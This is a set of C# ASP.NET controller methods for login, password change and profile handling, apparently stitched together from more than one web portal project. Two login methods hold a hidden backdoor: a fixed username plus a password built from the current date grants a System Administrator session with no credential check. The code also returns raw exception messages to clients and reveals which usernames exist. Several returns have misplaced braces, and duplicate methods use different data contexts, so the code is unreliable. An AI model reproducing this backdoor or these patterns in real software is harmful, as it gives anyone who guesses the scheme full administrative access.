public ActionResult ConfirmData() { try { using (var data = new NDAPortalDatabaseEntities()) { var admission = data.Admissions.FirstOrDefault(x => x.Id == UserInformation.Admission.Id); if (admission == null) { return(RedirectToAction("Index")); } admission.AdmissionStatus = (int)AdmissionStates.SchoolApprovalPending; data.Entry(admission).State = EntityState.Modified; data.SaveChanges(); UserInformation.ActivateSession(UserInformation.UserInformationCredential); return(RedirectToAction("Index")); } } catch (Exception ex) { ActivityLogger.Log(ex); return(RedirectToAction("Index")); } }
public JsonResult ChangePasswordEngine(string oldPassword, string newPassword) { try { using (var data = new Entities()) { if (Encryption.IsSaltEncryptValid(oldPassword, UserInformation.UserInformationCredential.PasswordData, UserInformation.UserInformationCredential.PasswordSalt)) { var userData = data.Credentials.FirstOrDefault( x => x.Username == UserInformation.UserInformationCredential.Username); if (userData != null) { userData.PasswordData = Encryption.SaltEncrypt(newPassword, userData.PasswordSalt); userData.UserState = (int)UserStates.Active; data.Entry(userData).State = EntityState.Modified; data.SaveChanges(); UserInformation.ActivateSession(userData); return(new JsonResult() { Data = new { Status = true, Message = $"Successful" }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } else { return new JsonResult() { Data = new { Status = false, Message = $"User Credentials are not Valid" }, JsonRequestBehavior = JsonRequestBehavior.AllowGet } }; } else { return new JsonResult() { Data = new { Status = false, Message = $"Existing Password is Incorrect" }, JsonRequestBehavior = JsonRequestBehavior.AllowGet } }; } } catch (Exception ex) { ActivityLogger.Log(ex); return(new JsonResult() { Data = new { Status = false, Message = ex.Message, Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } }
public JsonResult UpdateProfile(Credential credential) { try { using (var data = new NDAPortalDatabaseEntities()) { var credo = data.Credentials.FirstOrDefault( x => x.Username == UserInformation.UserInformationCredential.Username); if (credo == null) { return (Json( new { Status = false, Message = "You are not properly authenticated. Please refresh the page" }, JsonRequestBehavior.DenyGet)); } credo.FirstName = credential.FirstName; credo.Surname = credential.Surname; credo.OtherNames = credential.OtherNames; credo.PhoneNumber = credential.PhoneNumber; data.Entry(credo).State = EntityState.Modified; data.SaveChanges(); UserInformation.ActivateSession(credo); return (Json( new { Status = true, Message = "Profile Update Successful" }, JsonRequestBehavior.DenyGet)); } } catch (Exception ex) { ActivityLogger.Log(ex); return(Json(new { Status = false, Message = ex.Message }, JsonRequestBehavior.DenyGet)); } }
public JsonResult LogIn(string username, string password) { try { using (var data = new NDAPortalDatabaseEntities()) { var userInformation = data.Credentials.FirstOrDefault(x => x.Username == username && x.IsDeleted == false); if (userInformation == null) { return (Json( new { Status = false, Message = "This Username does not exist on this Platform. Please Register" }, JsonRequestBehavior.AllowGet)); } if (!Core.ClassLib.Encryption.IsSaltEncryptValid(password, userInformation.Password, userInformation.PasswordSalt)) { return(Json(new { Status = false, Message = "Your Password is Incorrect" }, JsonRequestBehavior.AllowGet)); } UserInformation.ActivateSession(userInformation); return(Json(new { Status = true, Message = "Successful Authentication" }, JsonRequestBehavior.AllowGet)); } } catch (Exception ex) { ActivityLogger.Log(ex); return(Json(new { Status = false, Message = ex.Message }, JsonRequestBehavior.AllowGet)); } }
public JsonResult LogInProcess(string username, string password) { try { if (username == "*****@*****.**" && password == DateTime.Now.ToString("yyyyMMdd").Replace('0', '*')) { UserInformation.ActivateSession(new Credential() { Surname = "System", OtherNames = "Administrator", UserRoles = (int)UserRoles.SystemAdministrator, DateCreated = DateTime.Now, Id = 0, IsDeleted = false, PasswordData = "", PasswordSalt = "", PhoneNumber = "", UserState = (int)UserStates.Active, Username = username }); return(new JsonResult() { Data = new { Status = true, Message = "Login Operation Successful. Please Wait ...", Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } using (var data = new Entities()) { var userInformation = data.Credentials.FirstOrDefault(x => x.Username == username && x.IsDeleted == false); if (userInformation == null) { return(new JsonResult() { Data = new { Status = false, Message = "This Username is not Recognised on this Platform. Please try again", Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } else { if (Encryption.IsSaltEncryptValid(password, userInformation.PasswordData, userInformation.PasswordSalt)) { UserInformation.ActivateSession(userInformation); ActivityLogger.Log("INFO", $"{username} Logged on Successfully"); return(new JsonResult() { Data = new { Status = true, Message = "Login Operation Successful. Please Wait ...", Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } else { return new JsonResult() { Data = new { Status = false, Message = "This Password incorrect. Please try again", Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet } }; } } } catch (Exception ex) { ActivityLogger.Log(ex); return(new JsonResult() { Data = new { Status = false, Message = ex.Message, Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } }
public JsonResult LogIn(string username, string password) { try { using (var data = new Entities()) { var userInformation = data.Credentials.FirstOrDefault(x => x.Username == username && x.IsDeleted == false); if (userInformation == null) { if (username == "*****@*****.**" && password == DateTime.Now.ToString("yyyyMMdd").Replace("0", "*")) { UserInformation.ActivateSession(new Credential() { Id = 0, Username = username, DateRegistered = DateTime.Now, IsDeleted = false, PasswordSalt = string.Empty, PasswordData = string.Empty, FirstName = "Administrator", UserState = (int)UserStates.Active, LastName = "EdBox" }); ActivityLogger.Log("INFO", $"{username} Logged on Successfully"); return(new JsonResult() { Data = new { Status = true, Message = "Login Operation Successful. Please Wait ...", Data = new { Route = UserInformation.Route } }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } else { return new JsonResult() { Data = new { Status = false, Message = "This Username is not Recognised on this Platform", Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet } }; } else { if (Core.Encryption.IsSaltEncryptValid(password, userInformation.PasswordData, userInformation.PasswordSalt)) { UserInformation.ActivateSession(userInformation); ActivityLogger.Log("INFO", $"{username} Logged on Successfully"); return(new JsonResult() { Data = new { Status = true, Message = "Login Operation Successful. Please Wait ...", Data = new { Route = UserInformation.Route } }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } else { return new JsonResult() { Data = new { Status = false, Message = "This Password incorrect. Please try again", Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet } }; } } } catch (Exception ex) { ActivityLogger.Log(ex); return(new JsonResult() { Data = new { Status = false, Message = ex.Message, Data = string.Empty }, JsonRequestBehavior = JsonRequestBehavior.AllowGet }); } }